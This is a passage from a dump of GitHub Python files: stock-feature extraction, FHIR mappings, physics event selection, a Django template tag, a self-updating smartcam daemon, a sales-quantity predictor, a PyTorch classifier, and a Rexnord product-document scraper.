Time')\n\n\t# Spectral Entropy\n\tstart = time.time()\n\tdf['LongSpectralEntropy'] = long_rolling_window.apply(spec_entropy, raw=True)\n\tdf['ShortSpectralEntropy'] = short_rolling_window.apply(spec_entropy, raw=True)\n\tprint(time.time() - start, 'Spec Time')\n\n\t# Autocorrelation\n\tstart = time.time()\n\tdf['LongAutocorrelation'] = long_rolling_window.apply(autocorrelation, raw=False)\n\tdf['ShortAutocorrelation'] = short_rolling_window.apply(autocorrelation, raw=False)\n\tprint(time.time() - start, 'Auto Time')\n\n\t# Stationarity\n\tstart = time.time()\n\tdf['LongStationarity'] = long_rolling_window.apply(stationarity, raw=True)\n\tdf['ShortStationarity'] = short_rolling_window.apply(stationarity, raw=True)\n\tprint(time.time() - start, 'Stat Time')\n\n\t# FILL NA\n\tdf.LongSpectralEntropy.fillna(0, inplace=True)\n\tdf.ShortSpectralEntropy.fillna(0, inplace=True)\n\tdf.LongAutocorrelation.fillna(0, inplace=True)\n\tdf.ShortAutocorrelation.fillna(0, inplace=True)\n\tdf.LongApproximateEntropy.fillna(0, inplace=True)\n\tdf.ShortApproximateEntropy.fillna(0, inplace=True)\n\n\t## Remove first 50\n\tdf = df.iloc[long_window:, :]\n\n\t# Discard Temp Features\n\tdf.drop(['Volume', 'LongSMA', 'ShortSMA', 'Open', 'High', 'Low', 'Close', 'STDLong', 'STDShort'], axis=1, inplace=True)\n\n\t## NaN Value Check\n\tprint(df.isnull().sum(axis=0))\n\n\tprint()\n\n\tprint(df.head())\n\n\tdf.to_csv(features_dir/ticker, index=False)\n\ndef get_tickers():\n\n\ttickers = []\n\n\tfor file in os.listdir(data_dir):\n\n\t\tticker = file.split('-')[0]\n\t\ttickers.append(ticker) if ticker not in tickers else None\n\n\treturn tickers\n\ndef go_parallel():\n\n\tParallel(n_jobs=n_jobs)(delayed(features)(ticker) for ticker in get_tickers())\n\ndef main(ticker):\n\n\tif ticker == 'ALL':\n\t\tgo_parallel()\n\telse:\n\t\tfeatures(ticker)\n\n######################################################################\n\nif __name__ == '__main__':\n\n\targparse = ArgumentParser()\n\targparse.add_argument('ticker')\n\targs = argparse.parse_args()\n\n\tmain(args.ticker)","repo_name":"zQuantz/Logma","sub_path":"prepwork/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":7828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"2082146953","text":"__all__ = [\"appointmentresponse_mapping\", \"appointmentresponse_references\"]\n\nappointmentresponse_mapping = {\n    \"actor\": \"reference\",\n    \"appointment\": \"reference\",\n    \"identifier\": \"token\",\n    \"location\": \"reference\",\n    \"part-status\": \"token\",\n    \"patient\": \"reference\",\n    \"practitioner\": \"reference\",\n}\n\nappointmentresponse_references = {\n    \"actor\": [\n        \"Practitioner\",\n        \"Device\",\n        \"Patient\",\n        \"HealthcareService\",\n        \"PractitionerRole\",\n        \"RelatedPerson\",\n        \"Location\",\n    ],\n    \"appointment\": [\"Appointment\"],\n    \"location\": [\"Location\"],\n    \"patient\": [\"Patient\"],\n    \"practitioner\": [\"Practitioner\"],\n}\n","repo_name":"teffalump/fhir_parse_qs","sub_path":"fhir_parse_qs/mappings/appointmentresponse.py","file_name":"appointmentresponse.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"73578597223","text":"# coding: utf-8\n\n_all_ = [ 'EventSelection' ]\n\nimport os\nimport sys\nparent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.insert(0, parent_dir)\n\nimport inclusion\nfrom inclusion import config\nfrom inclusion.config import main\n\nimport functools\nfrom collections import defaultdict\nimport itertools as it\n\nclass EventSelection:\n    def __init__(self, entries, isdata, configuration=None, debug=False):\n        self.entries = entries\n        self.bit = self.entries['triggerbit']\n        self.run = self.entries['RunNumber']\n        self.isdata = isdata\n        self.debug = debug\n        self.prefix = 'Data_' if self.isdata else 'MC_'\n        \n        # dependency injection\n        self.cfg = configuration\n\n        self.datasets, self.dataset_ref_trigs = self._deduce_datasets(self.cfg.inters_general,\n                                                                      self.cfg.inters)\n        \n        self.categories = ('baseline', 's1b1jresolvedMcut', 's2b0jresolvedMcut', 'sboostedLLMcut')\n        \n        for d in self.datasets:\n            assert d in main.data\n\n        \n    def any_trigger(self, trigs):\n        \"\"\"\n        Checks at least one trigger was fired.\n        Considers all framework triggers.\n        \"\"\"\n        return self.pass_triggers(trigs)\n\n    def check_bit(self, bitpos):\n        bitdigit = 1\n        res = bool(self.bit&(bitdigit<<bitpos))\n        return res\n    \n    def dataset_cuts(self, tcomb, channel):\n        \"\"\"\n        Applies selection depending on the reference trigger being considered.\n        Datasets are defined according to the applied trigger(s).\n        For instance, the 'MET' dataset is by construction a group of events to which\n        the MET Trigger was applied.\n        Currently all datasets have the same selection modulos the lepton veto.\n        \"\"\"\n        reference = self.find_inters_for_reference(tcomb, channel)\n        if reference is None:\n            return False\n\n        if not any(x in reference for x in self.datasets):\n            m = \"Only datasets {} are supported. You tried using '{}'.\".format(self.datasets, reference)\n            raise ValueError(m)\n\n        lepton_veto = self.should_apply_lepton_veto(tcomb)\n        \n        return self.selection_cuts(lepton_veto=lepton_veto, bjets_cut=self.cfg.bjets_cut,\n                                   custom_cut=self.cfg.custom_cut)\n\n    def dataset_name(self, dataset):\n        if dataset not in main.data and dataset not in main.mc_processes:\n            mes = 'Dataset {} is not supported '.format(dataset)\n            mes += '(prefix `{}` added).'.format(self.prefix)\n            raise ValueError(mes)\n\n        return self.prefix + dataset\n    \n    def dataset_triggers(self, tcomb, channel, trigs, dataset):\n        \"\"\"\n        Checks at least one trigger was fired.\n        Considers framework triggers for a specific dataset.\n        \"\"\"\n        this_processed_dataset = self.dataset_name(dataset)\n        for vals in self.dataset_ref_trigs.values():\n            for v in vals:\n                if v not in trigs:\n                    mes = 'Reference trigger {} is not part of triggers {}.'\n                    raise ValueError(mes.format(v,trigs))\n\n        reference = self.find_inters_for_reference(tcomb, channel)\n        if reference is None:\n            raise OverflowError('Intersection is too long.')\n\n        in_lep = all(x in main.lep_triggers for x in self.dataset_ref_trigs[reference])\n        lept = self.entries['isLeptrigger'] if in_lep else True\n        pass_trg = lept and self.pass_triggers(self.dataset_ref_trigs[reference])       \n        return pass_trg, self.dataset_ref_trigs[reference]\n\n    def _deduce_datasets(self, int_gen, int_chn):\n        \"\"\"\n        Deduce the required datasets to be looped over based on the triggers\n        defined in the configuration. Only datasets with at least\n        one trigger are used.\n        Reference triggers for each dataset are also defined.\n        Example: If no trigger is defined on the MET dataset in the\n        cnofiguration file, the MET dataset is ignored.\n        \"\"\"\n        chns = int_chn.keys()\n        for chn in chns:\n            assert int_gen.keys() == int_chn[chn].keys()\n\n        _ref_trigs = {'MET' : ('METNoMu120',),\n                      'EG'  : ('Ele32',),\n                      'Mu'  : ('IsoMu24',),\n                      'Tau' : ('IsoTau180',)}\n\n        ds = []\n        ds_ref_trigs = {}\n        for key,val in int_gen.items():\n            if len(val) + sum([len(int_chn[chn][key]) for chn in chns]) > 0:\n                ds.append(key)\n                ds_ref_trigs.update({self.dataset_name(key): _ref_trigs[key]})\n        return tuple(ds), ds_ref_trigs\n        \n    def get_trigger_bit(self, trigger_name):\n        \"\"\"\n        Returns the trigger bit corresponding to 'main.trig_map'\n        \"\"\"\n        s = 'data' if self.isdata else 'mc'\n        res = main.trig_map[trigger_name]\n        try:\n            res = res[s]\n        except KeyError:\n            print('You likely forgot to add your custom trigger to `self.cfg.trig_custom`.')\n            raise\n        return res\n\n    def find_inters_for_reference(self, tcomb, channel):\n        wrong_comb = 'Combination {} is not supported for channel {}.'\n\n        # Ignore long intersections for simplicity\n        # Besides, long intersections tend to have lower statistics\n        if len(tcomb) > 4:\n            return None\n        \n        # general triggers\n        for k in main.data:\n            if tcomb in self.cfg.inters_general[k]:\n                return self.dataset_name(k)\n                 \n        # channel-specific triggers\n        for k in main.data:\n            if tcomb in self.cfg.inters[channel][k]:\n                return self.dataset_name(k)\n        raise ValueError(wrong_comb.format(tcomb, channel))\n\n    def check_inters_with_dataset(self, tcomb, channel, dataset):\n        \"\"\"\n        All input files on which the selection is applied correspond\n        to a different dataset.  This function makes sure there is a\n        match between the trigger intersection and the dataset being\n        used. It is used to skip the processing of trigger\n        intersections which are calculated with other datasets.\n        No MC datasets are skipped.\n        \n        Example:\n        The 'IsoMu24' trigger intersection will use the MET\n        dataset in some analysis. This functions skips the processing\n        whenever we are running the selection over other datasets,\n        such as EGamma or SingleMuon.\n        \"\"\"\n        if not self.isdata:\n            return True\n\n        this_processed_dataset = self.dataset_name(dataset)\n        reference = self.find_inters_for_reference(tcomb, channel)\n        if reference is None:\n            return False\n\n        return True if this_processed_dataset == reference else False\n\n    def pass_triggers(self, trigs):\n        \"\"\"\n        Checks at least one trigger was fired.\n        \"\"\"\n        flag = False\n        for trig in trigs:\n            if trig in self.cfg.trig_custom:\n                flag = self.set_custom_trigger_bit(trig)\n            else:\n                flag = self.check_bit(self.get_trigger_bit(trig))\n            if flag:\n                return True\n        return False    \n\n    def sel_category(self, category):\n        assert category in self.categories\n        btagLL = self.entries['bjet1_bID_deepFlavor'] > 0.0490 and self.entries['bjet2_bID_deepFlavor'] > 0.0490\n        btagM  = ((self.entries['bjet1_bID_deepFlavor'] > 0.2783 and self.entries['bjet2_bID_deepFlavor'] < 0.2783) or\n                  (self.entries['bjet1_bID_deepFlavor'] < 0.2783 and self.entries['bjet2_bID_deepFlavor'] > 0.2783))\n        btagMM = self.entries['bjet1_bID_deepFlavor'] > 0.2783 and self.entries['bjet2_bID_deepFlavor'] > 0.2783\n        \n        common = not (self.entries['isVBF'] == 1 and self.entries['VBFjj_mass'] > 500 and self.entries['VBFjj_deltaEta'] > 3 and\n                      (self.entries['bjet1_bID_deepFlavor'] > 0.2783 or self.entries['bjet2_bID_deepFlavor'] > 0.2783))\n\n        if category == 'baseline':\n            specific = True\n        elif category == 's1b1jresolvedMcut':\n            specific = self.isBoosted != 1 and btagM\n        elif category == 's2b0jresolvedMcut':\n            specific = self.isBoosted != 1 and btagMM\n        elif category == 'sboostedLLMcut':\n            specific = self.isBoosted == 1 and btagLL\n\n        return common and specific\n\n    def selection_cuts(self, iso_cuts=dict(), lepton_veto=True, bjets_cut=True,\n                       invert_mass_cut=True, standard_mass_cut=False, custom_cut=None):\n        \"\"\"\n        Applies selection cut to one event.\n        Returns `True` only if all selection cuts pass.\n        \"\"\"\n        assert invert_mass_cut is not standard_mass_cut\n        \n        # When one only has 0 or 1 bjet th HH mass is not well defined,\n        # and a value of -1 is assigned. One thus has to remove the cut below\n        # when considering events with less than 2 b-jets.\n        mhh = self.entries['HHKin_mass']\n        if mhh < 1 and bjets_cut:\n            return False\n\n        # custom user-provided cut\n        if custom_cut is not None and not eval(custom_cut):\n            return False\n        \n        pairtype    = self.entries['pairType']\n        dau1_eleiso = self.entries['dau1_eleMVAiso']\n        dau1_muiso  = self.entries['dau1_iso']\n        dau2_muiso  = self.entries['dau2_iso']\n        dau1_tauiso = self.entries['dau1_deepTauVsJet']\n        dau2_tauiso = self.entries['dau2_deepTauVsJet']\n\n        # third lepton veto\n        nleps = self.entries['nleps']\n        if nleps > 0 and lepton_veto:\n            return False\n\n        # require at least two b jet candidates\n        nbjetscand = self.entries['nbjetscand']\n        if nbjetscand <= 1 and bjets_cut:\n            return False\n\n        # Loose / Medium / Tight\n        iso_allowed = { 'dau1_ele': 1., 'dau1_mu': 0.15, 'dau2_mu': 0.15,\n                        'dau1_tau': 5., 'dau2_tau': 5. }\n        if any(x not in iso_allowed for x in iso_cuts.keys()):\n            mes = 'At least one of the keys is not allowed. '\n            mes += 'Keys introduced: {}.'.format(iso_cuts.keys())\n            raise ValueError(mes)\n\n        # setting to the defaults in case the user did not specify the values\n        for k, v in iso_allowed.items():\n            if k not in iso_cuts: iso_cuts[k] = v\n        \n        bool0 = pairtype==0 and (dau1_muiso >= iso_cuts['dau1_mu'] or\n                                 dau2_tauiso < iso_cuts['dau2_tau'])\n        bool1 = pairtype==1 and (dau1_eleiso != iso_cuts['dau1_ele'] or\n                                 dau2_tauiso < iso_cuts['dau2_tau'])\n        bool2 = pairtype==2 and (dau1_tauiso < iso_cuts['dau1_tau'] or\n                                 dau2_tauiso < iso_cuts['dau2_tau'])\n        bool3 = pairtype==3 and (dau1_muiso >= iso_cuts['dau1_mu'] and\n                                 dau2_muiso >= iso_cuts['dau2_mu'])\n        if bool0 or bool1 or bool2 or bool3:\n            return False\n\n        #((tauH_SVFIT_mass-116.)*(tauH_SVFIT_mass-116.))/(35.*35.) + ((bH_mass_raw-111.)*(bH_mass_raw-111.))/(45.*45.) <  1.0\n        svfit_mass = self.entries['tauH_SVFIT_mass']\n        bh_mass    = self.entries['bH_mass_raw']\n\n        mpoint = ((svfit_mass-129.)*(svfit_mass-129.) / (53.*53.) +\n                  (bh_mass-169.)*(bh_mass-169.) / (145.*145.))\n        if mpoint < 1.0 and invert_mass_cut: # inverted elliptical mass cut\n            return False\n        if mpoint > 1.0 and standard_mass_cut: # standard elliptical mass cut\n            return False\n\n        return True\n\n    def set_custom_trigger_bit(self, trigger):\n        \"\"\"\n        The VBF trigger was updated during data taking, adding HPS\n        https://twiki.cern.ch/twiki/bin/viewauth/CMS/TauTrigger\n        \"\"\"\n        if trigger not in self.cfg.trig_custom:\n            import inspect\n            currentFunction = inspect.getframeinfo(frame).function\n            raise ValueError('[{}] option not supported.'.format(currentFunction))\n\n        if self.run < 317509 and self.isdata:\n            if trigger == 'VBFTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['VBFTau']['data'])\n            elif trigger == 'IsoDoubleTauCustom':\n                bits = ( self.check_bit(main.trig_map[trigger]['IsoDoubleTau']['data'][0]) or\n                         self.check_bit(main.trig_map[trigger]['IsoDoubleTau']['data'][1]) or\n                         self.check_bit(main.trig_map[trigger]['IsoDoubleTau']['data'][2]) )\n            elif trigger == 'IsoMuIsoTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['IsoMuIsoTau']['data'])\n            elif trigger == 'EleIsoTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['EleIsoTau']['data'])\n\n        else:\n            s = 'data' if self.isdata else 'mc'\n            if trigger == 'VBFTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['VBFTauHPS'][s])\n            elif trigger == 'IsoDoubleTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['IsoDoubleTauHPS'][s])\n            elif trigger == 'IsoMuIsoTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['IsoMuIsoTauHPS'][s])\n            elif trigger == 'EleIsoTauCustom':\n                bits = self.check_bit(main.trig_map[trigger]['EleIsoTauHPS'][s])\n\n        return bits\n\n    def should_apply_lepton_veto(self, tcomb):\n        \"\"\"Whether to apply 3rd lepton veto. The veto is always applied to MC.\"\"\"\n        if not self.isdata:\n            return True\n        \n        # if (tcomb in self.cfg.inters_general['MET'] or\n        #     tcomb in self.cfg.inters['etau']['MET'] or\n        #     tcomb in self.cfg.inters['mutau']['MET'] or\n        #     tcomb in self.cfg.inters['tautau']['MET']):\n        #     return True\n        # return False\n        return True\n        \n    def trigger_bits(self, trig):\n        if trig in self.cfg.trig_custom:\n            return self.set_custom_trigger_bit(trig)\n        else:\n            return self.check_bit(self.get_trigger_bit(trig))\n\n\n    def var_cuts(self, trig, variables, nocut_dummy_str):\n        \"\"\"\n        Handles cuts on trigger variables that enter the histograms. \n        Variables being displayed are not cut (i.e., they pass the cut).\n        Checks all combinations of cuts specified in '_cuts':\n            example: _cuts = {'A': ('>', [10,20]), 'B': ('<', [50,40]))}\n            `passes_cuts` will check 4 combinations and return a dict of length 4\n            (unless some cuts are ignored according to '_cuts_ignored') \n        Works for both 1D and 2D efficiencies.\n        \"\"\"\n        if self.debug:\n            print('Trigger={}; Variables={}'.format(trig, variables))\n\n        flagnameJoin = lambda var,sign,val: ('_'.join([str(x) for x in [var,sign,val]])).replace('.','p')\n    \n        dflags = defaultdict(lambda: [])\n    \n        try:\n            trig_cuts = self.cfg.cuts[trig]\n        except KeyError: # the trigger has no cut associated\n            if self.debug:\n                print('KeyError')            \n            return {nocut_dummy_str: True}\n\n        for avar,acut in trig_cuts.items():\n            # ignore cuts according to the user's definition in '_cuts_ignored'\n            # example: do not cut on 'met_et' when displaying 'metnomu_et'\n            ignore = functools.reduce( lambda x, y: x or y,\n                                       [ avar in main.cuts_ignored[k] for k in variables\n                                         if k in main.cuts_ignored ],\n                                      False\n                                      )\n\n            # additionally, by default do not cut on the variable(s) being plotted\n            if avar not in variables and not ignore:\n                value = self.entries[avar]\n\n                for c in acut[1]:\n                    flagname = flagnameJoin(avar, acut[0], c)\n\n                    if self.debug:\n                        print('Cut: {} {} {}'.format(avar, acut[0], c))\n\n                    if acut[0]=='>':\n                        dflags[avar].append( (flagname, value > c) )\n                    elif acut[0]=='<':\n                        dflags[avar].append( (flagname, value < c) )\n                    else:\n                        mes = 'The operator for the cut is currently '\n                        mess += 'not supported: Use `>` or `<`.' \n                        raise ValueError(mes)\n\n        def apply_cuts_combinations(dflags):\n            tmp = {}\n            allNames = sorted(dflags)\n            combinations = it.product(*(dflags[name] for name in allNames))\n            combinations = list(combinations)\n\n            if self.debug:\n                print('--------- [applyCutsCombinations] ------------------')\n                print('Variables being cut: {}'.format(allNames))\n                print('All cut combinations: {}'.format(combinations))\n                print('----------------------------------------------------')\n            \n            for comb in combinations:\n                joinFlag = functools.reduce( lambda x,y: x and y, [k[1] for k in comb] )\n                tmp[ (main.inters_str).join([k[0] for k in comb]) ] = joinFlag\n\n            return tmp\n\n        if dflags:\n            res = apply_cuts_combinations(dflags)\n        else:\n            res = {nocut_dummy_str: True}\n\n        return res\n","repo_name":"bfonta/inclusion","sub_path":"inclusion/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":17434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"6288766070","text":"from django import template\nimport math\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef products_discount_calculate(Price, Discount):\n    if Discount is None or Discount is 0:\n        return Price\n    Descount_pric = Price\n    Descount_pric = Price - (Price * Discount / 100)\n    # pro= Products.objects.all()\n    # pro.Discount_Price=Descount_pric\n    # pro.save()\n    return math.floor(Descount_pric)\n\n\n@register.simple_tag\ndef progress_bar_quantity(Availability, Total_quantity):\n    progress_Bar = Availability\n    progress_Bar = Availability * (100/Total_quantity)\n    return progress_Bar","repo_name":"rakib1515hassan/My-Second-E_Commerce-Project","sub_path":"E_Shop/Products/templatetags/Products_Discount_Price.py","file_name":"Products_Discount_Price.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"6452302017","text":"#!/usr/bin/env python3\n\n# Main process for smartcam devices\n\n# NOTE:\n# This process is managed through systemd and is configured to auto-restart\n# in the event of a graceful exit or failure. Please be careful when including\n# code before the update procedures to avoid potentially breaking the\n# ability to upgrade/repair these modules remotely.\n\nimport hashlib\nimport importlib\nimport logging\nimport multiprocessing as mp\nimport os\nimport py_compile\nimport shutil\nimport socket\nimport subprocess\nimport sys\nimport time\n\nimport git\n\n################################################################################\n\nCAM_ID = socket.gethostname()\nGIT_REPO = git.Repo('.')\n\nlogger = logging.getLogger()\nlogger.addHandler(logging.StreamHandler(sys.stdout))\nif str(GIT_REPO.active_branch) is 'release':\n    logger.setLevel(logging.INFO)\nelse: # master/devrelease/others\n    logger.setLevel(logging.DEBUG)\n\n################################################################################\n\ndef check_pyfile_integrity(filename):\n    try:\n        py_compile.compile(filename, doraise=True)\n    except Exception as e:\n        logger.error(e)\n        return(False)\n    return(True)\n\ndef get_file_checksum(filename):\n    if not os.path.isfile(filename):\n        logger.error(\"File %s not found\" % filename)\n        return(None)\n\n    with open(filename, 'rb') as fileh:\n        content = fileh.read()\n        md5hash = hashlib.md5(content).hexdigest()\n    return(md5hash)\n\ndef git_fetch_from_remote():\n    try:\n        fetch = GIT_REPO.remotes.origin.fetch()[0]\n        if fetch.old_commit is not None:\n            logger.info(\"Fetching %.7s .. %.7s\" % (fetch.old_commit, fetch.commit))\n            return(True)\n    except Exception as e:\n        logger.error(str(e))\n    return(False)\n\ndef git_merge_changes():\n    merge_res = str(subprocess.check_output(['git', 'merge']))\n    logger.debug(merge_res)\n    #if \"Already up to date\" in merge_res:\n    #    this-shouldnt-happen-so-cleanup\n    return\n\ndef check_main_update():\n    upgrade_md5 = get_file_checksum('smartcam.py')\n    running_md5 = get_file_checksum('smartcam')\n\n    if not running_md5: return(False) # development\n\n    if upgrade_md5 != running_md5:\n        logger.info('Update to main process detected')\n        if check_pyfile_integrity('smartcam.py'):\n            logger.debug('Main process update passed integrity tests')\n            shutil.copyfile('smartcam.py', 'smartcam')\n            return(True)\n        else:\n            logger.error('Main process update failed integrity tests')\n    return(False)\n\ndef check_worker_update(initial_md5):\n    current_md5 = get_file_checksum('worker.py')\n    if initial_md5 != current_md5:\n        logger.info('Update to worker process detected')\n        return(True)\n    return(False)\n\ndef check_model_update(initial_md5):\n    current_md5 = get_file_checksum('tiny_yolo.h5')\n    if initial_md5 != current_md5:\n        logger.info('Update to model detected')\n        return(True)\n    return(False)\n\ndef terminate_worker():\n    if worker_p.is_alive():\n        logger.info('Terminating existing worker')\n        worker_p.terminate()\n        time.sleep(10)\n    return\n\n################################################################################\n\n# initial worker process data:\ntry:\n    worker_md5 = get_file_checksum('worker.py')\n    model_md5 = get_file_checksum('tiny_yolo.h5')\n\n    import worker\n    worker_p = mp.Process(target=worker.run, args=(CAM_ID,))\nexcept Exception as e:\n    worker_p = None\n    logger.error(e)\n\n###\n\nwhile True:\n    # check for updates:\n    if git_fetch_from_remote():\n        git_merge_changes()\n\n        if check_main_update():\n            logger.info('Main update installed, restarting daemon')\n            terminate_worker()\n            sys.exit(0)\n\n        if check_worker_update(worker_md5):\n            terminate_worker()\n            try:\n                importlib.reload(worker)\n            except Exception as e:\n                logger.error(e)\n\n        # NOTE: reading large binary file causes memory spike\n        if check_model_update(model_md5):\n            terminate_worker()\n\n\n    # monitor worker health:\n    try:\n        if worker_p.is_alive():\n            logger.debug('Worker process seems alive and well')\n        else:\n            if worker_p.exitcode: # crashed\n                logger.warning('Worker process seems to have crashed')\n                worker_p = mp.Process(target=worker.run, args=(CAM_ID,))\n            worker_p.start()\n    except Exception as e:\n        logger.error(\"Unable to initialise worker (%s)\" % e)\n    finally:\n        time.sleep(600)\n","repo_name":"RWS-data-science/smartcamera","sub_path":"smartcam.py","file_name":"smartcam.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"21593467387","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\n\ndef predict_qty(Fulfilment, fulfilled_by, ship_service_level, Courier_Status, Category):\n    # Load the data from the CSV file\n    dataamazon = pd.read_csv(\"C:/Users/nassim/Desktop/pi/material-dashboard-django/apps/quantityprediction/Amazon Sale Report.csv\", delimiter=\";\")\n    \n    # Encode the categorical variables\n    le = LabelEncoder()\n    dataamazon['Fulfilment'] = le.fit_transform(dataamazon['Fulfilment'])\n    dataamazon['fulfilled-by'] = le.fit_transform(dataamazon['fulfilled-by'])\n    dataamazon['ship-service-level'] = le.fit_transform(dataamazon['ship-service-level'])\n    dataamazon['Courier Status'] = le.fit_transform(dataamazon['Courier Status'])\n    dataamazon['Category'] = le.fit_transform(dataamazon['Category'])\n    \n    # Split the data into features (X) and target variable (y)\n    X = dataamazon[['Fulfilment', 'ship-service-level', 'Category', 'Qty', 'Amount', 'fulfilled-by']]\n    y = dataamazon[\"Qty\"].values\n    \n    # Split the data into training and testing sets\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n    \n    # Create and fit the Random Forest Classifier model\n    rf = RandomForestClassifier(n_estimators=100, random_state=0)\n    rf.fit(X_train, y_train)\n    \n    # Create a new data point using the provided parameters\n    new_data = pd.DataFrame([[Fulfilment, ship_service_level, Category, 0, 0, fulfilled_by]],\n                            columns=['Fulfilment', 'ship-service-level', 'Category', 'Qty', 'Amount', 'fulfilled-by'])\n    \n    # Predict the Qty for the new data point\n    qty_pred = rf.predict(new_data)\n    \n    return qty_pred.tolist()","repo_name":"NassimAllouche/Amalyze","sub_path":"apps/quantityprediction/quantityprediction.py","file_name":"quantityprediction.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34049227250","text":"import torch \nfrom Data_set import MyDataset\nfrom torch import nn, save, load\nfrom torch.optim import Adam\nimport os\nimport numpy as np\n\n\n\n\nclass PAD(nn.Module): \n    def __init__(self):\n        super().__init__()\n        self.model = nn.Sequential(\n            nn.Conv2d(3, 32, (3,3)), \n            nn.ReLU(),\n            nn.Conv2d(32, 64, (3,3)), \n            nn.ReLU(),\n            nn.Conv2d(64, 64, (3,3)), \n            nn.ReLU(),\n            nn.Flatten(), \n            nn.Linear(64*(28-6)*(28-6), 10)  \n        )\n\n    def forward(self, x): \n        return self.model(x)\n    \n    \n\ndata=[]\nlabels=[]\n\nreal_path = r\"D:\\db\\training_tesnsors\\real_tensors\"\nreal_list = os.listdir(real_path)\ncount=0\nfor real in real_list:\n    tensor = torch.load(\"D:/db/training_tesnsors/real_tensors/\"+real)\n    data.append(tensor)\n    labels.append(0)\n    count+=1\n    if count ==4:\n        break\n    \nhand_path = r\"D:\\db\\training_tesnsors\\hand_tensors\"\nhand_list = os.listdir(hand_path)\nfor hand in hand_list:\n    tensor = torch.load(\"D:/db/training_tesnsors/hand_tensors/\"+hand)\n    data.append(tensor)\n    labels.append(1)\n    count+=1\n    if count ==8:\n        break\n    \n    \nfixed_path = r\"D:\\db\\training_tesnsors\\fixed_tensors\"\nfixed_list = os.listdir(fixed_path)\nfor fixed in fixed_list:\n    tensor = torch.load(\"D:/db/training_tesnsors/fixed_tensors/\"+fixed)\n    data.append(tensor)\n    labels.append(2)\n    count+=1\n    if count ==12:\n        break\n\nlabels_tensor = torch.from_numpy(np.array(labels)).long()\nprint('data has been loaded')\ndataset = MyDataset(data, labels_tensor)\n\n# Create a data loader to iterate over the dataset\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=200, shuffle=True)\n# Instance of the neural network, loss, optimizer \nclf = PAD().to('cpu')\nopt = Adam(clf.parameters(), lr=1e-3)\nloss_fn = nn.CrossEntropyLoss() \n\n# Training flow \nif __name__ == \"__main__\": \n    for epoch in range(2): # train for 10 epochs\n        for batch in dataset:\n            print(\"running\")\n            X,y = batch \n            X, y = X.to('cpu'), y.to('cpu') \n            yhat = clf(X) \n            loss = loss_fn(yhat, y) \n\n            # Apply backprop \n            opt.zero_grad()\n            loss.backward() \n            opt.step() \n\n        print(f\"Epoch:{epoch} loss is {loss.item()}\")\n    \n\n","repo_name":"Hass-seen/presentation_Attack_finder","sub_path":"torch_Modle.py","file_name":"torch_Modle.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32257383279","text":"# -*- coding: utf-8 -*-\nimport json\n\nimport pandas as pd\nimport scrapy\n\nfrom mro.items import UniversalItem\n\nout = pd.read_csv(\"mro/spiders/csv_data/Rexnord/Rexnord_images.csv\", sep=',')\ncatalog = [str(item).strip() for item in list(out.catalog_number)]\nids = list(out.id)\ncatalog_ids = dict(zip(catalog, ids))\n\n\nclass RexnordImagesCrawl(scrapy.Spider):\n    name = \"rexnord_docs\"\n\n    def start_requests(self):\n        for row in catalog:\n            url = 'https://www.rexnord.com/Product/' + row\n            yield scrapy.Request(url=url,\n                                 callback=self.parse_item,\n                                 dont_filter=True,\n                                 meta={'row': row}\n                                 )\n\n    def create_item(self, row, name, url):\n        item = UniversalItem()\n        item['ids'] = catalog_ids[row]\n        item['catalog_number'] = row\n        item['name'] = name\n        item['url'] = url\n        return item\n\n    def custom_extractor(self, response, expression):\n        data = response.xpath(expression).extract_first()\n        return data if data else ''\n\n    def parse_item(self, response):\n        row = response.meta['row']\n        productId = response.xpath('//*').re(r'\"productId\":\"(.+)\",\"productName')[0]\n        return scrapy.Request(\n            url='https://www.rexnord.com/api/v1/products/' + productId + '?expand=documents,specifications,styledproducts,htmlcontent,attributes,crosssells,relatedproductbrand,excludeconfiguredproduct',\n            callback=self.parse_img,\n            meta={'row': row}\n        )\n\n    def parse_img(self, response):\n        row = response.meta['row']\n        data = response.body_as_unicode()\n        data = json.loads(data)\n        '''\n        img = data['product']['largeImagePath']\n        img = img if 'NotFound' not in img else ''\n        upc = data['product']['upcCode']\n        material = data['product']['modelNumber']\n        brand = data['product']['manufacturerItem']\n        shortDescription = data['product']['shortDescription']\n        htmlContent = data['product']['htmlContent']\n\n        descr = self.construct_table(upc, material, brand, model, shortDescription, htmlContent)\n        '''\n        list_docs = data['product']['documents']\n        if list_docs != []:\n            for item in list_docs:\n                url = 'https://www.rexnord.com/api/v2/getProductDocuments?documentNumbers=' + item['filePath']\n                yield scrapy.Request(url=url,\n                                     callback=self.extract_docs,\n                                     dont_filter=True,\n                                     meta={'row': row}\n                                     )\n\n    def extract_docs(self, response):\n        row = response.meta['row']\n        data = response.body_as_unicode()\n        data = json.loads(data)\n        list_docs = data['productDocuments']\n        for item in list_docs:\n            yield self.create_item(row, item['name'], 